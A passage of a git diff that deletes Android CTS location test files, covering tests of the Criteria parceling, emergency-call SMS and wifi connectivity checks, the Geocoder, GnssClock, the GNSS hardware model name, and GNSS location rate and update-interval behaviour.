-        criteria.setVerticalAccuracy(Criteria.ACCURACY_LOW);
-        assertEquals(Criteria.ACCURACY_LOW, criteria.getVerticalAccuracy());
-
-       criteria.setVerticalAccuracy(Criteria.ACCURACY_HIGH);
-        assertEquals(Criteria.ACCURACY_HIGH, criteria.getVerticalAccuracy());
-
-        criteria.setVerticalAccuracy(Criteria.NO_REQUIREMENT);
-        assertEquals(Criteria.NO_REQUIREMENT, criteria.getVerticalAccuracy());
-    }
-
-    public void testWriteToParcel() {
-        Criteria criteria = new Criteria();
-        criteria.setAltitudeRequired(true);
-        criteria.setBearingRequired(false);
-        criteria.setCostAllowed(true);
-        criteria.setSpeedRequired(true);
-
-        Parcel parcel = Parcel.obtain();
-        criteria.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-
-        Criteria newCriteria = Criteria.CREATOR.createFromParcel(parcel);
-
-        assertEquals(criteria.getAccuracy(), newCriteria.getAccuracy());
-        assertEquals(criteria.getPowerRequirement(), newCriteria.getPowerRequirement());
-        assertEquals(criteria.isAltitudeRequired(), newCriteria.isAltitudeRequired());
-        assertEquals(criteria.isBearingRequired(), newCriteria.isBearingRequired());
-        assertEquals(criteria.isSpeedRequired(), newCriteria.isSpeedRequired());
-        assertEquals(criteria.isCostAllowed(), newCriteria.isCostAllowed());
-
-        parcel.recycle();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
deleted file mode 100644
index 4c2c36f..0000000
--- a/tests/tests/location/src/android/location/cts/EmergencyCallMessageTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-package android.location.cts;
-
-import android.app.Activity;
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.telephony.SmsManager;
-import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.Random;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test sending SMS and MMS using {@link android.telephony.SmsManager}.
- */
-public class EmergencyCallMessageTest extends GnssTestCase {
-
-    private static final String TAG = "EmergencyCallMSGTest";
-
-    private static final long DEFAULT_EXPIRY_TIME_SECS = TimeUnit.DAYS.toSeconds(7);
-    private static final long MMS_CONFIG_DELAY_MILLIS = TimeUnit.SECONDS.toMillis(1);
-    private static final short DEFAULT_DATA_SMS_PORT = 8091;
-    private static final String PHONE_NUMBER_KEY = "android.cts.emergencycall.phonenumber";
-    private static final String SMS_MESSAGE_BODY = "CTS Emergency Call Sms test message body";
-    private static final String SMS_DATA_MESSAGE_BODY =
-        "CTS Emergency Call Sms data test message body";
-    private static final long SENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5); // 5 minutes
-    private static final String PROVIDER_AUTHORITY = "emergencycallverifier";
-
-    private Random mRandom;
-    private TelephonyManager mTelephonyManager;
-    private PackageManager mPackageManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mRandom = new Random(System.currentTimeMillis());
-        mTelephonyManager =
-                (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
-        mPackageManager = mContext.getPackageManager();
-    }
-
-    public void testSendSmsMessage() {
-        // this test is only for cts verifier
-        if (!isCtsVerifierTest()) {
-            return;
-        }
-        SmsManager smsManager = SmsManager.getDefault();
-        final String selfNumber = getPhoneNumber(mContext);
-        smsManager.sendTextMessage(selfNumber, null, SMS_MESSAGE_BODY, null, null);
-    }
-
-    public void testSendSmsDataMessage() {
-        // this test is only for cts verifier
-        if (!isCtsVerifierTest()) {
-            return;
-        }
-        SmsManager smsManager = SmsManager.getDefault();
-        final String selfNumber = getPhoneNumber(mContext);
-        smsManager.sendDataMessage(selfNumber, null, DEFAULT_DATA_SMS_PORT,
-            SMS_DATA_MESSAGE_BODY.getBytes(), null, null);
-    }
-
-    private static String getPhoneNumber(Context context) {
-        final TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(
-                Context.TELEPHONY_SERVICE);
-        String phoneNumber = telephonyManager.getLine1Number();
-        if (phoneNumber == null || phoneNumber.trim().isEmpty()) {
-            phoneNumber = System.getProperty(PHONE_NUMBER_KEY);
-        }
-        return phoneNumber;
-    }
-
-    private static boolean shouldParseContentDisposition() {
-        return SmsManager
-                .getDefault()
-                .getCarrierConfigValues()
-                .getBoolean(SmsManager.MMS_CONFIG_SUPPORT_MMS_CONTENT_DISPOSITION, true);
-    }
-
-    private static boolean doesSupportMMS() {
-        return SmsManager
-                .getDefault()
-                .getCarrierConfigValues()
-                .getBoolean(SmsManager.MMS_CONFIG_MMS_ENABLED, true);
-    }
-
-}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
deleted file mode 100644
index 1c6ac6c..0000000
--- a/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2017 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.net.wifi.ScanResult;
-import android.net.wifi.WifiManager;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.InetSocketAddress;
-import java.net.Socket;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * This class is used to test Wifi realted features.
- */
-public class EmergencyCallWifiTest extends GnssTestCase {
-
-    private final static String TAG = EmergencyCallWifiTest.class.getCanonicalName();
-    private final static String LATCH_NAME = "EmergencyCallWifiTest";
-    private final static String GOOGLE_URL = "www.google.com";
-    private final static int WEB_PORT = 80;
-    private static final int BATCH_SCAN_BSSID_LIMIT = 25;
-    private static final int WIFI_SCAN_TIMEOUT_SEC = 30;
-    private static final long SETTINGS_PERIOD_MS = TimeUnit.SECONDS.toMillis(4);
-    private static final long INTERNET_CONNECTION_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
-    private static final int MIN_SCAN_COUNT = 1;
-
-    private WifiManager mWifiManager;
-    private Context mContext;
-    private WifiScanReceiver mWifiScanReceiver;
-    private int mScanCounter = 0;
-    private CountDownLatch mLatch;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mContext = getContext();
-        mWifiManager = (WifiManager) mContext.getSystemService(mContext.WIFI_SERVICE);
-        mWifiScanReceiver = new WifiScanReceiver();
-    }
-
-    @AppModeFull(reason = "Requires registering a broadcast receiver")
-    public void testWifiScan() throws Exception {
-        mContext.registerReceiver(mWifiScanReceiver, new IntentFilter(
-                WifiManager.SCAN_RESULTS_AVAILABLE_ACTION));
-        mLatch = new CountDownLatch(1);
-        mWifiManager.startScan();
-        Log.d(TAG, "Waiting for wifiScan to complete.");
-        mLatch.await(WIFI_SCAN_TIMEOUT_SEC, TimeUnit.SECONDS);
-        if (mScanCounter < MIN_SCAN_COUNT) {
-            fail(String.format("Expected at least %d scans but only %d scans happened",
-            MIN_SCAN_COUNT, mScanCounter));
-        }
-    }
-
-    public void testWifiConnection() {
-        boolean isReachable =
-            isReachable(GOOGLE_URL, WEB_PORT, (int)INTERNET_CONNECTION_TIMEOUT);
-        assertTrue("Can not connect to google.com."
-         + " Please make sure device has the internet connection", isReachable);
-    }
-
-    private static boolean isReachable(String addr, int openPort, int timeOutMillis) {
-        try {
-            try (Socket soc = new Socket()) {
-                soc.connect(new InetSocketAddress(addr, openPort), timeOutMillis);
-            }
-            return true;
-        } catch (IOException ex) {
-            return false;
-        }
-    }
-
-    private class WifiScanReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context c, Intent intent) {
-            List <ScanResult> scanResults = mWifiManager.getScanResults();
-            Log.d(TAG, String.format("Got scan results with size %d", scanResults.size()));
-            for (ScanResult result : scanResults) {
-                Log.d(TAG, result.toString());
-            }
-            mScanCounter++;
-            mLatch.countDown();
-        }
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/GeocoderTest.java b/tests/tests/location/src/android/location/cts/GeocoderTest.java
deleted file mode 100644
index 62d9d25..0000000
--- a/tests/tests/location/src/android/location/cts/GeocoderTest.java
+++ /dev/null
@@ -1,172 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.location.Geocoder;
-import android.test.AndroidTestCase;
-
-import java.io.IOException;
-import java.util.Locale;
-
-public class GeocoderTest extends AndroidTestCase {
-
-    private static final int MAX_NUM_RETRIES = 5;
-    private static final int TIME_BETWEEN_RETRIES_MS = 10 * 1000;
-
-    public void testConstructor() {
-        new Geocoder(getContext());
-
-        new Geocoder(getContext(), Locale.ENGLISH);
-
-        try {
-            new Geocoder(getContext(), null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    public void testIsPresent() {
-        Geocoder geocoder = new Geocoder(getContext());
-        if (isServiceMissing()) {
-            assertFalse(geocoder.isPresent());
-        } else {
-            assertTrue(geocoder.isPresent());
-        }
-    }
-
-    private boolean isServiceMissing() {
-        Context context = getContext();
-        PackageManager pm = context.getPackageManager();
-
-        final Intent intent = new Intent("com.android.location.service.GeocodeProvider");
-        final int flags = PackageManager.MATCH_DIRECT_BOOT_AWARE
-               | PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
-        return pm.queryIntentServices(intent, flags).isEmpty();
-    }
-
-    public void testGetFromLocation() throws IOException, InterruptedException {
-        Geocoder geocoder = new Geocoder(getContext());
-
-        // There is no guarantee that geocoder.getFromLocation returns accurate results
-        // Thus only test that calling the method with valid arguments doesn't produce
-        // an unexpected exception
-        // Note: there is a risk this test will fail if device under test does not have
-        // a network connection. This is why we try the geocode 5 times if it fails due
-        // to a network error.
-        int numRetries = 0;
-        while (numRetries < MAX_NUM_RETRIES) {
-            try {
-                geocoder.getFromLocation(60, 30, 5);
-                break;
-            } catch (IOException e) {
-                Thread.sleep(TIME_BETWEEN_RETRIES_MS);
-                numRetries++;
-            }
-        }
-        if (numRetries >= MAX_NUM_RETRIES) {
-            fail("Failed to geocode location " + MAX_NUM_RETRIES + " times.");
-        }
-
-
-        try {
-            // latitude is less than -90
-            geocoder.getFromLocation(-91, 30, 5);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            // latitude is greater than 90
-            geocoder.getFromLocation(91, 30, 5);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            // longitude is less than -180
-            geocoder.getFromLocation(10, -181, 5);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            // longitude is greater than 180
-            geocoder.getFromLocation(10, 181, 5);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-    }
-
-    public void testGetFromLocationName() throws IOException, InterruptedException {
-        Geocoder geocoder = new Geocoder(getContext(), Locale.US);
-
-        // There is no guarantee that geocoder.getFromLocationName returns accurate results.
-        // Thus only test that calling the method with valid arguments doesn't produce
-        // an unexpected exception
-        // Note: there is a risk this test will fail if device under test does not have
-        // a network connection. This is why we try the geocode 5 times if it fails due
-        // to a network error.
-        int numRetries = 0;
-        while (numRetries < MAX_NUM_RETRIES) {
-            try {
-                geocoder.getFromLocationName("Dalvik,Iceland", 5);
-                break;
-            } catch (IOException e) {
-                Thread.sleep(TIME_BETWEEN_RETRIES_MS);
-                numRetries++;
-            }
-        }
-        if (numRetries >= MAX_NUM_RETRIES) {
-            fail("Failed to geocode location name " + MAX_NUM_RETRIES + " times.");
-        }
-
-        try {
-            geocoder.getFromLocationName(null, 5);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            geocoder.getFromLocationName("Beijing", 5, -91, 100, 45, 130);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            geocoder.getFromLocationName("Beijing", 5, 25, 190, 45, 130);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            geocoder.getFromLocationName("Beijing", 5, 25, 100, 91, 130);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            geocoder.getFromLocationName("Beijing", 5, 25, 100, 45, -181);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssClockTest.java b/tests/tests/location/src/android/location/cts/GnssClockTest.java
deleted file mode 100644
index 7b4bfb0..0000000
--- a/tests/tests/location/src/android/location/cts/GnssClockTest.java
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssClock;
-import android.os.Parcel;
-
-public class GnssClockTest extends GnssTestCase {
-    public void testDescribeContents() {
-        GnssClock clock = new GnssClock();
-        clock.describeContents();
-    }
-
-    public void testReset() {
-        GnssClock clock = new GnssClock();
-        clock.reset();
-    }
-
-    private static void setTestValues(GnssClock clock) {
-        clock.setBiasNanos(1.0);
-        clock.setBiasUncertaintyNanos(2.0);
-        clock.setDriftNanosPerSecond(3.0);
-        clock.setDriftUncertaintyNanosPerSecond(4.0);
-        clock.setFullBiasNanos(5);
-        clock.setHardwareClockDiscontinuityCount(6);
-        clock.setLeapSecond(7);
-        clock.setTimeNanos(8);
-        clock.setTimeUncertaintyNanos(9.0);
-        clock.setElapsedRealtimeNanos(10987732253L);
-        clock.setElapsedRealtimeUncertaintyNanos(3943523.0);
-    }
-
-    private static void verifyTestValues(GnssClock clock) {
-        assertEquals(1.0, clock.getBiasNanos());
-        assertEquals(2.0, clock.getBiasUncertaintyNanos());
-        assertEquals(3.0, clock.getDriftNanosPerSecond());
-        assertEquals(4.0, clock.getDriftUncertaintyNanosPerSecond());
-        assertEquals(5, clock.getFullBiasNanos());
-        assertEquals(6, clock.getHardwareClockDiscontinuityCount());
-        assertEquals(7, clock.getLeapSecond());
-        assertEquals(8, clock.getTimeNanos());
-        assertEquals(9.0, clock.getTimeUncertaintyNanos());
-        assertEquals(10987732253L, clock.getElapsedRealtimeNanos());
-        assertEquals(3943523.0, clock.getElapsedRealtimeUncertaintyNanos());
-    }
-
-    public void testWriteToParcel() {
-        GnssClock clock = new GnssClock();
-        setTestValues(clock);
-        Parcel parcel = Parcel.obtain();
-        clock.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssClock newClock = GnssClock.CREATOR.createFromParcel(parcel);
-        verifyTestValues(newClock);
-        parcel.recycle();
-    }
-
-    public void testSet() {
-        GnssClock clock = new GnssClock();
-        setTestValues(clock);
-        GnssClock newClock = new GnssClock();
-        newClock.set(clock);
-        verifyTestValues(newClock);
-    }
-
-    public void testHasAndReset() {
-        GnssClock clock = new GnssClock();
-        setTestValues(clock);
-
-        assertTrue(clock.hasBiasNanos());
-        clock.resetBiasNanos();
-        assertFalse(clock.hasBiasNanos());
-
-        assertTrue(clock.hasBiasUncertaintyNanos());
-        clock.resetBiasUncertaintyNanos();
-        assertFalse(clock.hasBiasUncertaintyNanos());
-
-        assertTrue(clock.hasDriftNanosPerSecond());
-        clock.resetDriftNanosPerSecond();
-        assertFalse(clock.hasDriftNanosPerSecond());
-
-        assertTrue(clock.hasDriftUncertaintyNanosPerSecond());
-        clock.resetDriftUncertaintyNanosPerSecond();
-        assertFalse(clock.hasDriftUncertaintyNanosPerSecond());
-
-        assertTrue(clock.hasFullBiasNanos());
-        clock.resetFullBiasNanos();
-        assertFalse(clock.hasFullBiasNanos());
-
-        assertTrue(clock.hasLeapSecond());
-        clock.resetLeapSecond();
-        assertFalse(clock.hasLeapSecond());
-
-        assertTrue(clock.hasTimeUncertaintyNanos());
-        clock.resetTimeUncertaintyNanos();
-        assertFalse(clock.hasTimeUncertaintyNanos());
-
-        assertTrue(clock.hasElapsedRealtimeNanos());
-        clock.resetElapsedRealtimeNanos();
-        assertFalse(clock.hasElapsedRealtimeNanos());
-
-        assertTrue(clock.hasElapsedRealtimeUncertaintyNanos());
-        clock.resetElapsedRealtimeUncertaintyNanos();
-        assertFalse(clock.hasElapsedRealtimeUncertaintyNanos());
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssHardwareInfoTest.java b/tests/tests/location/src/android/location/cts/GnssHardwareInfoTest.java
deleted file mode 100644
index f6fbe75..0000000
--- a/tests/tests/location/src/android/location/cts/GnssHardwareInfoTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2017 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.LocationManager;
-import android.util.Log;
-
-/**
- * Test {@link LocationManager#getGnssHardwareModelName}.
- */
-public class GnssHardwareInfoTest extends GnssTestCase {
-
-  private static final String TAG = "GnssHardwareInfoTest";
-
-  /**
-   * Minimum plausible descriptive hardware model name length, e.g. "ABC1" for first GNSS version
-   * ever shipped by ABC company.
-   */
-  private static final int MIN_HARDWARE_MODEL_NAME_LENGTH = 4;
-
-  @Override
-  protected void setUp() throws Exception {
-    super.setUp();
-    mTestLocationManager = new TestLocationManager(getContext());
-  }
-
-  /**
-   * Verify GNSS hardware model year is reported as a valid, descriptive value.
-   * Descriptive is limited to a character count, and not the older values.
-   */
-  public void testHardwareModelName() throws Exception {
-    if (!TestUtils.deviceHasGpsFeature(getContext())) {
-      return;
-    }
-
-    String gnssHardwareModelName =
-        mTestLocationManager.getLocationManager().getGnssHardwareModelName();
-    SoftAssert softAssert = new SoftAssert(TAG);
-    softAssert.assertOrWarnTrue(/* strict= */ false, "gnssHardwareModelName must not be null",
-            gnssHardwareModelName != null);
-    if (gnssHardwareModelName != null) {
-      assertTrue("gnssHardwareModelName must be descriptive - at least 4 characters long",
-          gnssHardwareModelName.length() >= MIN_HARDWARE_MODEL_NAME_LENGTH);
-    }
-  }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java b/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
deleted file mode 100644
index b9eb5fd..0000000
--- a/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
+++ /dev/null
@@ -1,164 +0,0 @@
-/*
- * Copyright (C) 2017 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-/**
- * Test the "gps" location output works through various rate changes
- *
- * Tests:
- * 1. Toggle through various rates.
- * 2. Mix toggling through various rates with start & stop.
- *
- * Inspired by bugs 65246279, 65425110
- */
-
-public class GnssLocationRateChangeTest extends GnssTestCase {
-
-    private static final String TAG = "GnssLocationRateChangeTest";
-    private static final int LOCATION_TO_COLLECT_COUNT = 1;
-
-    private TestLocationListener mLocationListenerMain;
-    private TestLocationListener mLocationListenerAfterRateChanges;
-    // Various rates, where underlying GNSS hardware states may enter different modes
-    private static final int[] TBF_MSEC = {0, 4_000, 250_000, 6_000_000, 10, 1_000, 16_000, 64_000};
-    private static final int LOOPS_FOR_STRESS_TEST = 20;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTestLocationManager = new TestLocationManager(getContext());
-        // Using separate listeners, so the await trigger for the after-rate-changes listener is
-        // independent of any possible locations that flow during setup, and rate change stress
-        // testing
-        mLocationListenerMain = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
-        mLocationListenerAfterRateChanges = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Unregister listeners
-        if (mLocationListenerMain != null) {
-            mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
-        }
-        if (mLocationListenerAfterRateChanges != null) {
-            mTestLocationManager.removeLocationUpdates(mLocationListenerAfterRateChanges);
-        }
-        super.tearDown();
-    }
-
-    /**
-     * Requests (GPS) Locations at various rates that may stress the underlying GNSS software
-     * and firmware state machine layers, ensuring Location output
-     * remains responsive after all is done.
-     */
-    @AppModeFull(reason = "Flaky in instant mode.")
-    public void testVariedRates() throws Exception {
-        if (!TestUtils.deviceHasGpsFeature(getContext())) {
-            return;
-        }
-
-        SoftAssert softAssert = new SoftAssert(TAG);
-        mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
-        softAssert.assertTrue("Location should be received at test start",
-                mLocationListenerMain.await());
-
-        for (int timeBetweenLocationsMsec : TBF_MSEC) {
-            // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
-            mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
-                    timeBetweenLocationsMsec);
-        }
-        mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
-
-        mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
-        softAssert.assertTrue("Location should be received at test end",
-                mLocationListenerAfterRateChanges.await());
-
-        softAssert.assertAll();
-    }
-
-    /**
-     * Requests (GPS) Locations at various rates, and toggles between requests and removals,
-     * that may stress the underlying GNSS software
-     * and firmware state machine layers, ensuring Location output remains responsive
-     * after all is done.
-     */
-    public void testVariedRatesOnOff() throws Exception {
-        if (!TestUtils.deviceHasGpsFeature(getContext())) {
-            return;
-        }
-
-        SoftAssert softAssert = new SoftAssert(TAG);
-        mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
-        softAssert.assertTrue("Location should be received at test start",
-                mLocationListenerMain.await());
-
-        for (int timeBetweenLocationsMsec : TBF_MSEC) {
-            // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
-            mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
-                    timeBetweenLocationsMsec);
-            // Also flip the requests on and off quickly
-            mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
-        }
-
-        mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
-        softAssert.assertTrue("Location should be received at test end",
-                mLocationListenerAfterRateChanges.await());
-
-        softAssert.assertAll();
-    }
-
-    /**
-     * Requests (GPS) Locations at various rates, and toggles between requests and removals,
-     * in multiple loops to provide additional stress to the underlying GNSS software
-     * and firmware state machine layers, ensuring Location output remains responsive
-     * after all is done.
-     */
-    public void testVariedRatesRepetitive() throws Exception {
-        if (!TestUtils.deviceHasGpsFeature(getContext())) {
-            return;
-        }
-
-        SoftAssert softAssert = new SoftAssert(TAG);
-        mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
-        softAssert.assertTrue("Location should be received at test start",
-                mLocationListenerMain.await());
-
-        // Two loops, first without removes, then with removes
-        for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
-            for (int timeBetweenLocationsMsec : TBF_MSEC) {
-               mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
-                        timeBetweenLocationsMsec);
-            }
-        }
-        for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
-            for (int timeBetweenLocationsMsec : TBF_MSEC) {
-                mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
-                        timeBetweenLocationsMsec);
-                // Also flip the requests on and off quickly
-                mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
-            }
-        }
-
-        mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
-        softAssert.assertTrue("Location should be received at test end",
-                mLocationListenerAfterRateChanges.await());
-
-        softAssert.assertAll();
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationUpdateIntervalTest.java b/tests/tests/location/src/android/location/cts/GnssLocationUpdateIntervalTest.java
deleted file mode 100644
index 106df1f..0000000
--- a/tests/tests/location/src/android/location/cts/GnssLocationUpdateIntervalTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2019 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.Location;
-import android.location.LocationManager;
-import android.util.Log;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Test the {@link Location} update interval.
- *
- * Test steps:
- * 1. Register for location updates with a specific interval.
- * 2. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
- * 3. Compute the deltas between location update timestamps.
- * 4. Compute mean and stddev and assert that they are within expected thresholds.
- */
-public class GnssLocationUpdateIntervalTest extends GnssTestCase {
-
-    private static final String TAG = "GnssLocationUpdateIntervalTest";
-
-    private static final int LOCATION_TO_COLLECT_COUNT = 8;
-    private static final int TIMEOUT_IN_SEC = 120;
-
-    // Minimum time interval between fixes in milliseconds.
-    private static final int[] FIX_INTERVALS_MILLIS = {0, 1000, 5000, 15000};
-
-    private static final int MSG_TIMEOUT = 1;
-
-    // Timing failures on first NUM_IGNORED_UPDATES updates are ignored.
-    private static final int NUM_IGNORED_UPDATES = 2;
-
-    // In active mode, the mean computed for the deltas should not be smaller
-    // than mInterval * ACTIVE_MIN_MEAN_RATIO
-    private static final double ACTIVE_MIN_MEAN_RATIO = 0.75;
-
-    // In passive mode, the mean computed for the deltas should not be smaller
-    // than mInterval * PASSIVE_MIN_MEAN_RATIO
-    private static final double PASSIVE_MIN_MEAN_RATIO = 0.1;
-
-    /**
-     * The standard deviation computed for the deltas should not be bigger
-     * than mInterval * ALLOWED_STDEV_ERROR_RATIO
-     * or MIN_STDEV_MS, whichever is higher.
-     */
-    private static final double ALLOWED_STDEV_ERROR_RATIO = 0.50;
-    private static final long MIN_STDEV_MS = 1000;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTestLocationManager = new TestLocationManager(getContext());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
-    public void testLocationUpdatesAtVariousIntervals() throws Exception {
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
-            return;
-        }
-
-        for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
-            testLocationUpdatesAtInterval(fixIntervalMillis);
-        }
-    }
-
-    private void testLocationUpdatesAtInterval(int fixIntervalMillis) throws Exception {
-        Log.i(TAG, "testLocationUpdatesAtInterval, fixIntervalMillis: " + fixIntervalMillis);
-        TestLocationListener activeLocationListener = new TestLocationListener(
-                LOCATION_TO_COLLECT_COUNT);
-        TestLocationListener passiveLocationListener = new TestLocationListener(
-                LOCATION_TO_COLLECT_COUNT);
-        mTestLocationManager.requestLocationUpdates(activeLocationListener, fixIntervalMillis);
-        mTestLocationManager.requestPassiveLocationUpdates(passiveLocationListener,
-                fixIntervalMillis);
-        try {
-            boolean success = activeLocationListener.await(
-                    (fixIntervalMillis * LOCATION_TO_COLLECT_COUNT) + TIMEOUT_IN_SEC);
-            assertTrue("Time elapsed without getting enough location fixes."
-                            + " Possibly, the test has been run deep indoors."
-                            + " Consider retrying test outdoors.",
-                    success);
-        } finally {
-            mTestLocationManager.removeLocationUpdates(activeLocationListener);
-            mTestLocationManager.removeLocationUpdates(passiveLocationListener);
-        }
-
-        List<Location> activeLocations = activeLocationListener.getReceivedLocationList();
